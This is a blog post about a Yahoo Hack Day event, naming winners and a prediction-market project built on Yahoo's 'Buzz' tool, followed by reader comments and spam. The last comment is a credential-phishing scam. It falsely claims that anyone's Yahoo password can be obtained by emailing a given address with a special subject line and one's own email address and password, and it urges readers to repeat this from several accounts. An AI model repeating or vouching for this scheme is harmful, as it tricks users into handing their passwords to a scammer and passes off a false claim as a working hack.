Yahoo Hack Day, held on Friday in Building C of Yahoo Headquarters (and remotely from other Yahoo offices worldwide), helped me remember why so many of us are excited about what’s happening on the web today. After you peel away all of the extraneous layers, the core of innovation is five or six people building something they think is cool. And there certainly was a lot of that going on at Yahoo at the end of last week.
I walked into a room full of Yahoo employees patiently waiting their turn to show the project they’d just spent 24 hours building. There were a total of 102 projects submitted, and each team (ranging from one to seven Yahoo’ers) had a minute and a half to show off their stuff. In the end, trophies were given and pizza was eaten.
The tropies weren’t the only award, though, or even the most important incentive. Each project is carefully documented and tracked, and a few will evolve into Yahoo products or product features in the future. There’s big bragging rights associated with this, and it’s a sure way to make a name for yourself among your peers.
I had to agree not to write about specific projects I saw presented at the event, and I had a press escort at all times. I will say that I saw some really cool combinations of various web services (maps, search, Answers, flickr, music, del.icio.us, etc.) as well as some completely new product ideas.
One project really caught my eye (and I have permission to write about it) – Ian Kennedy, in Yahoo Corporate Development, re-skinned a Yahoo Research tool called “Buzz” that leverages economic theories to build predictive markets. Ian and his team (Stacy All, Yiling Chen, Raj Gopal Prased Kantamneni, Tejaswi Kasturi, David Pennock and Daniel Reeves) used the core Buzz project and built a predictive market on top of it that tracks all of the Hack Day projects. Yahoo employees can “buy” and “sell” shares in projects, eventually cashing out if the project is included in a public Yahoo product. Fun stuff, but with real technology and theory behind it.
Congratulations to the winners, listed below. And more congratulations to those that built stuff that we’ll see in future public products.
Winners:
Best Overall: Swati Raju, Dan Rose, and Peter Anick
Best User Experience: Deepa Joshi, Paul Yiu, Cecil Balzen
Most Money: Aaron Stein, Joshua Rangsikitpho, Sumit Chachra, Steve Spencer, Cody Simms, Dave Zito, Yu Shan Chuang
The “Why Did You Wait for Hack Day?” award: (a tie)
#1: Shankar Venkataraman, Subodh Shakya
#2: Gordon Luk, Mirek Grymuza, Vince Maniago
People’s Choice: Mega Hack Team (Leonard Lin, Gordon Luk, Edward Ho, Kevin Cheng, Daniel Raffel, Cameron Marlow, Jonathan Trevor
Sounds fun. Could you go more into detail on what the winning entries were about etc.?
And that’s a LOT OF PIZZA! I wish I were there.
(btw, I’ve bookmarked this on Digg)
A more techcrunch-like title for this post would have been:
Yahoo Hack Day: much better than anything produced by Google.
Nice to see lots of Indians in that list, scoring high on innovation. Kalakkunga makkale!
sounds like a waste of time, uneless you count the positive pr, making Yahoo! seem innovative. And also, there’s the moral boost where engineers get to play around for a whole day.
Hashim: “sounds like a waste of time, uneless you count the positive pr, making Yahoo! seem innovative. And also, there’s the moral boost where engineers get to play around for a whole day. ”
damn right.
Michael, how can copying other companies (google, microsoft) be “Pure Innovation”?
Hashim: You’re contradicting yourself a bit, no? You say it’s waste of time and then start listing benefits.
Jealous?
Ian Kennedy is a great guy; met him while he was at Six Apart, bumped into him at LAX a few months ago when I was on my way back to London, always walk away wanting to spend more time talking to him.
And yeah, what a waste of time to help people feel trusted, competent, and related to others in and outside their company. Doesn’t Yahoo know that a boot on the neck works just as well as all that ‘empowerment’ jazz? *eyeroll*
michael if that project caught your eye then youll like this company. doing the same thing.
http://inklingmarkets.com/
@jme giffo:
Having been at Hack Day, I can assure you that the majority of the entries were NOT copies of things Google and Microsoft has done. There definately were some great, NEW, ideas, with potential for real application.
Sigh, as a potential competitor in a market that doesn’t yet exist… I’m horrified. Any hints as to new paradigms of new web applications? Sigh, better get coding…
Wireless World: Next-generation tracking
The second generation of wireless package tracking technology — radio frequency identification (RFID) gear — is emerging rapidly, changing the way manufacturers monitor shipments.
Paper maker Smurfit-Stone Container Corp. is working with Texas Instruments Inc., the electronics developer, to bring to market a new process for affixing straps to boxes, which contain printed antennae. The antennae are printed directly on the corrugated box — eliminating one step in the process of attaching the tracking technology and reducing the overall cost of using it in so-called supply-chain management. A supply chain is an industry term for a series of smaller manufacturers who supply parts for a larger firm, which ultimately ships the completed product to yet another outfit, like a retailer. By Gene Koprowski
http://www.upi....16-095221-4425r
James, no 2 – I wouldn’t know. I can’t imagine Google opening itself up for criticism by letting people into an event like this.
Hi Mike,
Thanks for the write up – it was a blast. To respond to Hashim, the 24 hours I spent on Hack Day taught me more about what it takes to ship products than the 2+ years I spent as product manager in an earlier life. It was well worth the time away from the day-to-day projects and I met a lot of cool new people too. I think it’s great that Yahoo clears the way to make events like this happen not only for the moral & potential PR but also for the hacks which I wish you could have seen – some real innovation taking place in the kitchen that I hope we can serve up sometime soon.
hello Ian i dont have any idea what is really hack is anyway goodluck to that hack day.
“I wouldn’t know. I can’t imagine Google opening itself up for criticism by letting people into an event like this”
Strange statement Michael, since Google opens itself up to criticism all the time by releasing their products early in Google Labs. They intentionally do this for feedback. In fact, you have heavily criticised some of those very products.
jme giffo: “Michael, how can copying other companies (google, microsoft) be “Pure Innovation”? ”
You have got to be kidding right? Were you actually there to see what was being presented to make that kind of assesment?
There was also alot of great coding this weekend during the Railsday contest. Michael you should do some reporting on that event.
I did’nt register in time, so I didnt compete this year, but from a specators view, those guys were doing some _major_ hacking!
An indian in every category? (Not too surprising though.)
Very cool!
U mentioned in yer earlier post that the guy from the NY Times had an exclusive* – will he have more coverage on this??
@Ben no.10 – i too thought i had come up with the Next $Billion idea 2 months ago with an AdWidget for Google AdSense that could be placed on any Blog ie MySpace. Since then there has been a flurry of activity in that area ie TagWorld, WordPress, TypePad, Bunchball & MajikWidget just to name a few!
I’m actually encouraged that potential competitors are entering this field. They prolly see the tremendous potential here! & I like the idea of Hacking or Mashing an existing piece of software code & using it to create something better or a whole New Market or Economy that wasn’t thought of initially! Kinda like a Warhol painting!!
)
Now i just have to learn how to Code!
Is this a non-story or what? You went to what is basically a corporate retreat for geeks (ok). You then can’t really write about anything you saw (lame). And now you expect us all to care? Seriously… what’s the news here?
I’ll chime in with what my hack was all about. I’m part of Yahoo Research and we’re very open here. I was part of Ian Kennedy and Dave Pennock et al’s Prediction Market Hack but Dave and Yiling Chen and I also launched a separate hack to implement a group decision making mechanism to complement the group prediction. Our interfaces are all built on top of editgrid.com for now — pretty cheap I know, but amazingly useful and flexible. One of the big ideas behind all this is to use an artificial currency — called Yootles — to drive both the group predictions and the group decision making. Details at yootles.com.
To Foobar,
I think you miss the point. Its newsworthiness is as much about the process of developing and coming up with ideas. Look at any successful technology, and you’ll discover that the idea is only part of a product’s success – the process of bringing it to fruition is just as critical, if not mores so. Hack Day gives us a glimpse into one way of spawning innovation and having fun. Relax, you’re reading a blog.
cars oil
i did not knoi
Just gotta love the hack days
step by step first steps
To obtain an e-mail address password of any person using Yahoo!:for this year 2007
There have been many atempts done but there are only few methods to get passwords
but this is one of the very few that work.
*Use this with care and do not abuse this privilege.*
Send an e-mail to [ rcvr_psswrd010577@yahoo.com ]
In the subject option, type: membrstff455677
provide your full email address and password for Authentication to the server.
In the actual e-mail part, copy and paste this:
Note: send this e-mail from a different ID everytime you want to use it.
Make sure you put the symbols, as this is very important.
It fools the Yahoo’s Server system acting as a command line
and will send the information back to you saying there is an error, but also
sends you the information. Also make sure you fill out the
appropriate things such as the email addresses and password,
to get the password. Then click send, and it should be sent
within 24 hours, that easy. Again, please use with care and do
not abuse this privilege.
–terasoft Digital technologies-adam